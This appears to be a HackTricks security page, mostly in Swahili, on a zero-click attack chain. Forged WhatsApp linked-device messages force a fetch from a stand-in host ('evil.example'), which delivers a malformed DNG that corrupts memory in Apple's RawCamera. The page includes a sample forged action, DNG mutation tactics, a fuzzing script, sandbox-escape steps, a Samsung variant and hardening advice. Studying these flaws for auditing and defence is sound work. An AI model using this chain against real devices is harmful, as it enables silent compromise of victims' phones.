Zero-click Messaging → Image Parser Chains
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
TL;DR
- Tazama messaging app multi-device/companion protocols kama njia za udhibiti wa mbali: iwapo maeneo ya protocol yanachukuliwa kutoka kwa vifaa vinavyoaminika, bado yanaweza kudhibitiwa na mtumiaji na mara nyingi yanaweza kuchezwa tena dhidi ya mshambuliaji ili kupakia maudhui yoyote bila 0 user interaction.
- Mara programu yoyote inapoweza kulazimishwa kuchukua media isiyoaminika, lenga shared OS media pipeline (RawCamera on iOS/macOS, vendor parsers on Android OEM builds) kwa faili zilizoharibika ili kupita nje ya sandbox.
- DNG-based RawCamera na Samsung parser bugs zinazojadiliwa hapa ni mifano halisi, lakini mbinu kamili ni mtazamo unaoweza kutumika tena kwa kuunganisha logic flaws → image parser memory corruption → full device compromise.
Remote content loading via WhatsApp linked-device commands
Attack surface recap
Miundo ya “linked devices” ya WhatsApp inahifadhi simu kuu na kila companion (desktop, tablet, simu ya pili) ziko katika sync kupitia ujumbe za protocol zilizofichwa na zenye muundo. Kila ujumbe unaweka:
- Metadata ya kifaa (device ID, capabilities, feature flags).
- Action descriptors (mfano, sync chats, fetch thumbnails, render remote content).
- Parameta za kawaida kama URIs, MIME hints, pagination keys, n.k.
Kwenye wateja wa Apple, handler inayosindika vifurushi hivi vya udhibiti vya linked-device iliamini kwa njia ya kimaanisha (implicitly trusted) kuwa pairing halali tayari ilitokea, hivyo maeneo yenye athari kubwa (mfano, resource_url, open_media, sync_snapshot) yaliongozwa kwa ukaguzi mdogo tu. Ujumbe mbaya wa companion unaweza kwa hivyo:
- Kupitia kwa akaunti yoyote inayotambulishwa kwa nambari ya simu.
- Kumaliza kupitia transport stack (Noise protocol + WhatsApp protobuf framing) kwa sababu mpokeaji hakuwahi kuthibitisha kuwa mtumaji alikuwa kifaa kilichopairwa kwa uhalali.
- Kufikia mteja wa iOS, ambapo njia ya nambari yenye udhaifu ilianzisha ombi la background HTTP(S) kwa attacker URL na kusindika jibu katika WebView/media renderer iliyofichwa.
Practical workflow for auditors
- Capture legitimate linked-device traffic. Unganisha debugger au script ya Frida kwenye desktop/iOS client na hook handler baada ya decryption (mfano,
LinkedDevicesSyncHandler::processAction). Dump payloads za protobuf zilizotafsiriwa ili kujifunza aina za action zinazopatikana na parameta. - Identify fields that cross trust boundaries. Kila action inayobeba parameta kama
http_url,thumbnail_uri,download_url, aurender_htmlbila allow-lists kali ni primitive inayofaa kwa remote-content. - Forge a malicious action. Reuse schema ya protobuf uliyoiona na badilisha tu maeneo yanaydhibitiwa na mshambuliaji. Muonekano rahisi wa JSON wa muundo unaohusiana unaonyeshwa hapa chini (transport halisi ni protobuf/Noise, lakini maeneo ya semantic yanalingana):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
- Kuletea kwa mwathirika. Rudisha kifurushi kilichotengenezwa kupitia huduma ile ile ya WhatsApp ambayo kawaida hupeleka linked-device traffic (mfano, kwa kutumia desktop client iliyorekebishwa au custom Noise client inayorejelea funguo za akaunti yako ya mshambuliaji). Kwa sababu CVE-2025-55177 ilishindwa kuhusisha vitendo na vifaa vilivyothibitishwa, mteja wa mwathirika wa iOS/macOS angenyakua ujumbe na mara moja kuomba URL ya mshambuliaji bila UI yoyote.
- Fuatilia uchukuzi. Angalia ombi lililofanywa la HTTP(S) na renderer ya ndani (WKWebView/ImageIO). Kwa hatua hii una zero-click web delivery primitive ndani ya WhatsApp.
Kuitumia DNG zilizo-decode moja kwa moja kama silaha dhidi ya RawCamera
Mara mshambuliaji anapodhibiti kile WhatsApp kinachopakua, lengo lijalo ni kufanya iOS/macOS ichambue faili hatari ya Digital Negative (DNG) kwa kutumia mfumo wa RawCamera. Kila embedded <img>/CSS URL inayoratibu hadi .dng itapitishwa kwa system image pipeline, ikiwaita RawCamera hata kama WhatsApp yenyewe haikushughulikia DNGs waziwazi.
Kusababisha RawCamera kutoka WhatsApp
- Tumikia HTML inayorejelea DNG kwa njia mbalimbali (mfano,
<img src="evil.dng">, CSSbackground-image: url('evil.dng'), au<picture>sources) ili kufunika njia tofauti za render. - Hakikisha MIME sahihi (
image/x-adobe-dng) na previews ndogo ili loader isiache mapema kwa sababu za heuristics za ukubwa. - iOS media sandbox itatiririsha faili ndani ya RawCamera kupitia
CGImageSourceCreateWithURL, hatimaye ikamfikia decoder iliyo na hatari.
Kutengeneza DNG zinazoharibu kumbukumbu (CVE-2025-43300 style)
Hitilafu iliyoreproduzwa ilitegemea metadata isiyolingana ambayo ilisababisha ugawaji wa buffer kutofanana na kusomwa kwa pikseli halisi. Vivutio vya kawaida ni:
- Tile/strip descriptors: Weka
TileByteCounts/StripByteCountskwa thamani za kawaida lakini ongezaTileOffsetskuonyesha zaidi ya buffer iliyogawiwa. - Sub-IFD chains: Weka picha za sekondari zenye
ImageWidth/ImageLengthnaBitsPerSamplezinazopingana ili RawCamera ihesabu buffer ndogo wakati hatua za baadaye zinatumai vipimo vilivyosawaliwa na mshambuliaji. - Opcode metadata: Badilisha vipengele vya
OpcodeList3ili usindikaji kwa kila safu ufanyike kwa index zilizochaguliwa na mshambuliaji.
A basic mutation harness to hunt for such corruptions can be built around macOS, since the same RawCamera code ships on macOS/iOS/iPadOS:
#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done
Kila crash katika RawCamera inakupa primitive mpya. PoC iliyochapishwa ilifikia out-of-bounds read/write safi ya kutosha kusababisha WhatsApp kuanguka kwenye iPhone, iPad, na Mac.
Kujenga mnyororo wa 0-click
- Linked-device packet → inalazimisha WhatsApp kupakua
https://evil.example/payload.htmlbila kugusa kifaa. - Payload HTML → inarejea kwa kimya
evil.dng, ikihakikisha RawCamera inaitwa na media stack ya OS. - Malicious DNG → inatumia crafted tags kusababisha RawCamera OOB na crash/own image decoder.
- Post-corruption exploitation → ongeza info-leak gadgets (mfano, kutumia predictable heap metadata) na weka mnyororo wa ROP/JOP ili kutoka kwenye WhatsApp sandbox na kuingia katika muktadha wenye vigezo vya juu zaidi.
Kwa sababu kila hatua ni ya moja kwa moja, mshambuliaji anahitaji tu nambari ya simu ya mwathiri. Hakuna taarifa, bendi, au vidokezo vinavyoonyeshwa kwenye kifaa lengwa.
Mfanano wa parser za picha za muuzaji wa Samsung
Bulletin ya Samsung kwa CVE-2025-21043 ilithibitisha kuwa stack yao ya proprietary ya image parsing (inayotumika na Gallery, Messages, na pia kwa njia isiyo ya moja kwa moja na WhatsApp) ilikumbwa na out-of-bounds write inayoweza kupatikana kupitia media zisizoaminika. Mbinu ya ukanaji ni sawa na mnyororo wa Apple:
- Tambua vector ya auto-preview (chat thumbnails, notification previews, share sheets) ambayo inachanganua faili ya mshambuliaji kwa kutumia maktaba za Samsung
libimagecodec/libOneUI_ImageDecoder. - Linganisha masasisho ya maktaba za OEM au fuzz parsers kwa kutumia faili zilizokatika za RAW/DNG hadi ukaona memory corruptions zinazofanana na crash ya RawCamera (heap metadata clobber, register control, n.k.).
- Sambaza faili iliyoundwa kupitia njia yoyote ambayo tayari inaendesha maudhui moja kwa moja (mfano, primitive ile ile ya linked-device, WhatsApp preview fetchers, au Android’s push-to-talk waveform previews).
Mara tu OOB write itakapoonekana katika vendor parser, kuichanganya na WhatsApp auto-fetch primitive kutazalisha mnyororo mwingine wa zero-click kwenye vifaa vya Samsung.
Orodha ya kujaribu na kuimarisha usalama
- Protocol validation: Tekeleza allow-lists kali kwa kila kitendo cha linked-device. Amri za companion zinazotaka fetch/render lazima zithibitishwe pairing ya kifaa (signing the payload) na URL iwe inalingana na allow-list au signed blob.
- Transport replay countermeasures: Funga kila kitendo kwa key ya kifaa moja kwa moja na aankane packet ambazo sender key hazijulikani, hata kama syntax ya protobuf ni sahihi.
- Media pipeline restrictions: Apps za ngazi ya juu zinapaswa kuruhusu aina za MIME zilizokubalika tu na kukataa wazi RAW/DNG isipokuwa kipengele kinahitajika.
- Parser fuzzing regression tests: Weka korpasi ya faili za RAW/DNG zilizoharibika na zisimbue dhidi ya RawCamera/vendor decoders baada ya kila sasisho.
- Crash triage automation: Ambatanisha
DYLD_INSERT_LIBRARIESsanitizers au MTE kwenye vifaa vya fuzz ili kugundua hali ndogo za OOB kabla ya mashambulizi.
References
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
HackTricks

